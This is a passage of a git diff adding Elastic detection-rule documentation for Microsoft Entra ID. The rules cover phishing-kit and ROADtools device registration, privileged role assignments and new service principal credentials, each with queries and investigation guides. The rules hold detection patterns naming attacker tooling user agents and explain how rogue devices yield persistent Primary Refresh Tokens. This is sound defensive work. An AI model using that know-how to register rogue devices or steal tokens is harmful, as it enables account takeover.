a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc new file mode 100644 index 0000000000..e98c2f8071 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-device-registration-with-phishing-kit-default-os-build.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-36-entra-id-device-registration-with-phishing-kit-default-os-build]] +=== Entra ID Device Registration with Phishing Kit Default OS Build + +Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device Registration with Phishing Kit Default OS Build* + + +AiTM phishing kits including Tycoon2FA and Kali365 register a device in Entra ID with a frozen default cloud device OS build of `10.0.19045.2006` and a default display name of `DESKTOP-`. This build is hardcoded by the tooling and differs from the OS version of legitimate, patched hosts (a current Windows 10 22H2 device reports a much higher `10.0.19045.` value), making the build a useful indicator of kit-driven device registration. Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access bypass, and persistent token-based access. + +The matching Entra ID audit event is an `Add device` operation initiated by the `Device Registration Service`, where the modified properties record the registered device characteristics: + +- `azure.auditlogs.properties.target_resources.0.modified_properties.3` (`CloudDeviceOSVersion`) = `10.0.19045.2006` +- `azure.auditlogs.properties.target_resources.0.modified_properties.4` (`CloudDisplayName`) = `DESKTOP-*` + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine whether that user is expected to register a new device. +- Review `azure.auditlogs.identity` to confirm the `Device Registration Service` initiated the request, and use `azure.correlation_id` to pivot across the full registration flow (`Add device`, `Add registered users to device`, `Add registered owner to device`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`; kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. +- Inspect the registration user agent on the paired `Register device` event (`azure.auditlogs.properties.userAgent`), which is frequently a spoofed `Dsreg/10.0 (Windows 10.0.19045.2006)` string or a raw HTTP client such as `axios/*` or `python-requests/*`. +- Check whether the same user registered multiple devices in a short window (a single piece of kit infrastructure registering several devices is common for PRT persistence at scale). +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag unexpected IPs, hosting/VPS ASNs (for example Tencent or Alibaba), or impossible-travel relative to the user's normal activity. +- Pivot to `azure.signinlogs` for the same user and timeframe and look for follow-on sign-ins where the incoming token type is a `primaryRefreshToken`, for AiTM sign-ins immediately preceding the registration, or for the broker subsequently minting tokens for other resources such as Microsoft Graph. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 22H2 hosts may legitimately present the `10.0.19045.2006` build with a default `DESKTOP-` hostname. Validate against device inventory and known provisioning programs. +- Authorized security assessments that register devices with this OS profile will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Add device" and + azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value:*10.0.19045.2006* and + azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value:*DESKTOP-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..848b6d6381 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-global-administrator-role-assigned.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-36-entra-id-global-administrator-role-assigned]] +=== Entra ID Global Administrator Role Assigned + +In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Global Administrator Role Assigned* + + +Microsoft Entra ID's Global Administrator role grants comprehensive access to manage Microsoft Entra ID and associated services. Adversaries may exploit this by assigning themselves or others to this role, ensuring persistent control over resources. The detection rule identifies such unauthorized assignments by monitoring specific audit logs for role changes, focusing on the addition of members to the Global Administrator role, thus helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Microsoft Entra ID audit logs to identify the user account that performed the "Add member to role" operation, focusing on the specific event dataset and operation name. +- Verify the identity of the user added to the Global Administrator role by examining the modified properties in the audit logs, specifically the new_value field indicating "Global Administrator". +- Check the history of role assignments for the identified user to determine if this is a recurring pattern or a one-time event. +- Investigate the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Review any recent changes or activities performed by the newly assigned Global Administrator to identify any suspicious actions or configurations that may have been altered. +- Consult with the organization's IT or security team to confirm if the role assignment was authorized and aligns with current administrative needs or projects. +- Correlate with Microsoft Entra ID sign-in logs to check for any unusual login patterns or failed login attempts associated with the user who assigned the role. +- Review the reported device to determine if it is a known and trusted device or if it raises any security concerns such as unexpected relationships with the source user. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role temporarily for maintenance or configuration purposes. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or third-party applications that require elevated permissions might be flagged if they are configured to add users to the Global Administrator role. Review and whitelist these scripts or applications if they are verified as safe and necessary for operations. +- Organizational changes, such as mergers or restructuring, can lead to legitimate role assignments that appear suspicious. Implement a review process to verify these changes and exclude them from triggering alerts if they align with documented organizational changes. +- Training or onboarding sessions for new IT staff might involve temporary assignment to the Global Administrator role. Establish a protocol to document and exclude these training-related assignments from detection alerts. + + +*Response and remediation* + + +- Immediately remove any unauthorized users from the Global Administrator role to prevent further unauthorized access and control over Azure AD resources. +- Conduct a thorough review of recent audit logs to identify any additional unauthorized changes or suspicious activities associated with the compromised account or role assignments. +- Reset the credentials of the affected accounts and enforce multi-factor authentication (MFA) to enhance security and prevent further unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict Global Administrator role assignments to specific, trusted locations or devices. +- Review and update role assignment policies to ensure that only a limited number of trusted personnel have the ability to assign Global Administrator roles. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized role assignments in the future, ensuring timely response to potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and + azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:"Add member to role" and + azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value: "\"Global Administrator\"" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-privileged-role-assigned-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-privileged-role-assigned-to-another-account.asciidoc new file mode 100644 index 0000000000..00cc434339 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-privileged-role-assigned-to-another-account.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-36-entra-id-privileged-role-assigned-to-another-account]] +=== Entra ID Privileged Role Assigned to Another Account + +Identifies when a privileged Microsoft Entra ID directory role is assigned from one account to a different account. The actor can be a user or an application (service principal), and the member can be a user or a service principal. Privileged roles can be used to take over the tenant, reset credentials, add credentials to applications, or control mail and collaboration services, so an unexpected assignment is a strong persistence and privilege escalation signal. Adversaries that compromise an administrator or a vendor application may grant a privileged role to an account they control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference +* https://trustedsec.com/blog/managing-privileged-roles-in-microsoft-entra-id-a-pragmatic-approach + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: Entra ID +* Profile: Beta + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Privileged Role Assigned to Another Account* + + +This rule fires when a user or application assigns a privileged Entra ID directory role to a different user or service +principal. The privileged role list is exact: roles Microsoft marks as privileged plus other built-in roles with +administrative control over major services. Because role assignment is normal administrator work, treat the alert as a +prompt to confirm the assignment was expected. + +The rule evaluates the same operations as the application self-assignment rule: direct assignments and the PIM assignment +operations. The "outside of PIM" operation is a PIM alert that records only the role, not the member, so it is not +evaluated; the direct assignment it accompanies is. + + +*Possible investigation steps* + + +- Identify who assigned the role (`Esql.actor_id`, with `azure.auditlogs.properties.initiated_by.user.userPrincipalName` or `azure.auditlogs.properties.initiated_by.app.displayName`), who received it (`Esql.member_id` and `Esql.member_type`), and the role (`Esql.role_name`). +- Confirm the assignment against a change request, ticket, or the administrator's expected duties. Note the source address in `azure.auditlogs.properties.initiated_by.user.ipAddress` for user actors. +- If the actor is an application, review its service principal sign-ins for unexpected source addresses or user agents, and recent credential changes to the application. +- If the member is newly created, a guest, or a service principal you do not recognize, treat the assignment as high risk. Review when the member was created and by whom. +- Review what the member did after receiving the role: sign-ins, directory changes, new credentials, consent grants, and mailbox or file access. +- Look for other privileged role assignments by the same actor around the same time. + + +*False positive analysis* + + +- Planned administrator assignments and onboarding. +- Identity governance, provisioning, and delegation tooling that assigns roles on behalf of administrators. + + +*Response and remediation* + + +- If the assignment is unauthorized, remove the role assignment, disable the receiving account, and revoke its sessions. +- Review and reset credentials of the actor if it appears compromised, and review any credentials, consent grants, and role assignments added since. +- Add exceptions for expected administrators and provisioning accounts to reduce noise. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* metadata _id, _version, _index +// role assignments, matching the same operations as the application self-assignment rule +| where data_stream.dataset == "azure.auditlogs" + and azure.auditlogs.operation_name in ( + "Add member to role", + "Add member to role outside of PIM (permanent)", + "Add member to role in PIM completed (permanent)", + "Add member to role in PIM completed (timebound)", + "Add eligible member to role in PIM completed (permanent)", + "Add eligible member to role in PIM completed (timebound)" + ) + and event.outcome in ("success", "Success") +// the actor can be a user or an application +| eval Esql.actor_id = coalesce(azure.auditlogs.properties.initiated_by.user.id, azure.auditlogs.properties.initiated_by.app.servicePrincipalId) +| eval Esql.actor_type = case(azure.auditlogs.properties.initiated_by.user.id is not null, "user", "service_principal") +// the member is the account among the first two targets; the position differs by operation, and the "outside of PIM" +// operation is a PIM alert that records only the role, so it has no member and is dropped below +| eval Esql.member_id = case( + `azure.auditlogs.properties.target_resources.0.type` in ("User", "ServicePrincipal", "Group"), `azure.auditlogs.properties.target_resources.0.id`, + `azure.auditlogs.properties.target_resources.1.type` in ("User", "ServicePrincipal", "Group"), `azure.auditlogs.properties.target_resources.1.id`, + null + ) +| eval Esql.member_type = case( + `azure.auditlogs.properties.target_resources.0.type` in ("User", "ServicePrincipal", "Group"), `azure.auditlogs.properties.target_resources.0.type`, + `azure.auditlogs.properties.target_resources.1.type` in ("User", "ServicePrincipal", "Group"), `azure.auditlogs.properties.target_resources.1.type`, + null + ) +// one account assigning the role to a different account; self-assignment by an application has its own rule +| where Esql.actor_id is not null and Esql.member_id is not null and Esql.actor_id != Esql.member_id +// the role name is in a modified property for direct assignments, or the display name of the role target otherwise +| eval Esql.role_name_raw = coalesce( + case(`azure.auditlogs.properties.target_resources.0.modified_properties.0.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.2.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.modified_properties.3.display_name` == "Role.DisplayName", `azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value`, null), + case(`azure.auditlogs.properties.target_resources.0.type` == "Role", `azure.auditlogs.properties.target_resources.0.display_name`, null), + case(`azure.auditlogs.properties.target_resources.1.type` == "Role", `azure.auditlogs.properties.target_resources.1.display_name`, null) + ) +| eval Esql.role_name = replace(Esql.role_name_raw, "\"", "") +// privileged roles: every built-in role marked PRIVILEGED in the Microsoft Entra built-in roles reference, plus other +// built-in roles with administrative control over major Entra and Microsoft 365 services or access to tenant data. +// Matched by exact role name, not by pattern. +| where to_lower(Esql.role_name) in ( + // marked PRIVILEGED by Microsoft + "agent id administrator", "ai administrator", "ai reader", "application administrator", "application developer", + "attribute provisioning administrator", "attribute provisioning reader", "authentication administrator", + "authentication extensibility administrator", "authentication extensibility password administrator", + "b2c ief keyset administrator", "cloud application administrator", "cloud device administrator", + "conditional access administrator", "directory writers", "domain name administrator", + "entra soc identity responder", "external identity provider administrator", "global administrator", + "global reader", "helpdesk administrator", "hybrid identity administrator", "identity governance administrator", + "intune administrator", "lifecycle workflows administrator", "partner tier1 support", "partner tier2 support", + "password administrator", "privileged authentication administrator", "privileged role administrator", + "security administrator", "security operator", "security reader", "tenant governance administrator", + "user administrator", + // not marked privileged by Microsoft, but with administrative control over major services + "attribute assignment administrator", "authentication policy administrator", "cloud app security administrator", + "compliance administrator", "directory synchronization accounts", "dynamics 365 administrator", + "exchange administrator", "external id user flow administrator", "global secure access administrator", + "groups administrator", "knowledge administrator", "microsoft 365 backup administrator", + "microsoft 365 migration administrator", "on premises directory sync account", "power platform administrator", + "sharepoint administrator", "skype for business administrator", "teams administrator", + "teams telephony administrator", "windows 365 administrator", "yammer administrator", + // additional roles: mailbox permissions, local administrator on joined devices (current and previous display + // name), delegated partner access to the tenant, and approval of Microsoft support access to customer data + "exchange recipient administrator", "azure ad joined device local administrator", + "microsoft entra joined device local administrator", "customer delegated admin relationship administrator", + "customer lockbox access approver", "entra customer lockbox approver", + // legacy display name of Global Administrator + "company administrator" + ) +| drop Esql.role_name_raw +| keep @timestamp, Esql.*, azure.*, event.*, cloud.*, related.*, tags, source.*, agent.*, client.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-register-device-with-phishing-kit-or-roadtools-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-register-device-with-phishing-kit-or-roadtools-user-agent.asciidoc new file mode 100644 index 0000000000..5886cfc143 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-register-device-with-phishing-kit-or-roadtools-user-agent.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-36-entra-id-register-device-with-phishing-kit-or-roadtools-user-agent]] +=== Entra ID Register Device with Phishing Kit or ROADtools User Agent + +Detects a successful Microsoft Entra ID Register device audit event for an Azure AD join or Azure AD register whose user agent is a Dsreg client string hardcoded by device-registration tooling. "Dsreg/10.0 (Windows 10.0.19045.2006)" is the frozen user agent used by device code and adversary-in-the-middle (AiTM) phishing-as-a-service kits such as Tycoon2FA and Kali365 when they register a device after capturing a victim session. "Dsreg/10.0 (Windows 10.0.19041.928)" is the default user agent used by ROADtools (roadtx) for Windows device registration. Adversaries register these devices to obtain a Primary Refresh Token (PRT) and persist access that survives password resets and user-level session revocation. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ +* https://unit42.paloaltonetworks.com/roadtools-cloud-attacks/ +* https://learn.microsoft.com/en-us/entra/identity/devices/concept-directory-join + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Threat: Device Code Phishing +* Threat: AiTM Phishing +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + +Device code and AiTM phishing kits, including Tycoon2FA and Kali365, and dual-use tooling such as ROADtools (roadtx) +register a device in Entra ID so they can obtain a device-bound Primary Refresh Token (PRT). The registration client +spoofs the Windows device-registration user agent, but the OS build inside that string is a tool default rather than the +build of a current, patched host: + +- `Dsreg/10.0 (Windows 10.0.19045.2006)`: frozen default used by Tycoon2FA and Kali365. +- `Dsreg/10.0 (Windows 10.0.19041.928)`: default used by ROADtools (roadtx) for Windows device registration. + +This rule matches a successful `Register device` audit event where that user agent is recorded and +`azure.auditlogs.properties.additional_details.value` is `Azure AD join` or `Azure AD register`. A genuine Windows +enrollment uses the same `Dsreg/10.0 (Windows )` format, but a patched host reports a much higher revision than +these two frozen values. Rogue device registration is typically a precursor to PRT acquisition, MFA and Conditional +Access bypass, and persistent token-based access. Device-bound PRTs survive `revokeSignInSessions` and password resets. + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine whether that user is expected to join or register a new device. +- Confirm the user agent in `azure.auditlogs.properties.userAgent` and the join type in `azure.auditlogs.properties.additional_details.value` (`Azure AD join` versus `Azure AD register`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`. Kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. ROADtools defaults to `DESKTOP-` followed by 8 random characters. +- Use `azure.correlation_id` to pivot across the full registration flow (`Register device`, `Add device`, `Add registered users to device`, `Add registered owner to device`). On the paired `Add device` event, compare `CloudDeviceOSVersion` with the build embedded in the user agent (`10.0.19045.2006` or `10.0.19041.928`). +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag unexpected IPs, hosting or VPS ASNs, or impossible travel relative to the user's normal activity. +- Check whether the same user registered multiple devices in a short window. A single piece of kit infrastructure registering several devices is common for PRT persistence at scale. +- Pivot to `azure.signinlogs` for the same user and timeframe. Look for a preceding device-code or AiTM sign-in, and for follow-on sign-ins where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 20H1 or 22H2 hosts may legitimately present these exact Dsreg user agents during Azure AD join or register. Validate against device inventory, naming conventions, and known provisioning programs. +- Authorized security assessments that register devices with ROADtools or phishing-kit tooling will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine the scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register or join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Register device" and +event.outcome:(success or Success) and +azure.auditlogs.properties.userAgent:( + "Dsreg/10.0 (Windows 10.0.19041.928)" or + "Dsreg/10.0 (Windows 10.0.19045.2006)" +) and +azure.auditlogs.properties.additional_details.value:("Azure AD join" or "Azure AD register") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc new file mode 100644 index 0000000000..af95d64ccb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-entra-id-service-principal-credentials-created-by-unusual-user]] +=== Entra ID Service Principal Credentials Created by Unusual User + +Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 +* https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ +* https://www.cisa.gov/news-events/alerts/2025/05/22/advisory-update-cyber-threat-activity-targeting-commvaults-saas-cloud-application-metallic +* https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID +* Domain: Identity + +*Version*: 113 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Credentials Created by Unusual User* + + +This rule identifies the addition of new credentials (client secrets or certificates) to a Microsoft Entra ID (formerly Azure AD) service principal by a user who has not previously performed this operation in the last 10 days. Adversaries who obtain temporary or persistent access to a user account may add rogue credentials to service principals in order to maintain unauthorized access to cloud resources. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that detects rare users performing sensitive identity-related actions in Entra ID. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `azure.auditlogs.properties.initiated_by.user.user_principal_name` and `azure.auditlogs.properties.initiated_by.user.id` fields to identify the user account performing the action. Determine if this user typically manages service principals. +- Check for Known Admin or Automation Context: Validate if the action was expected (e.g., part of a deployment pipeline or credential rotation process). Investigate whether this is a known administrative account or an automated service principal maintainer. +- Inspect Credential Type: Determine if a certificate or client secret was added, and assess its expiration time, usage scope, and whether it aligns with internal practices. +- Correlate with Other Events: Look for surrounding events such as creation of new service principals, assignment of roles or permissions, or suspicious application sign-ins that could indicate persistence or privilege escalation. +- Analyze 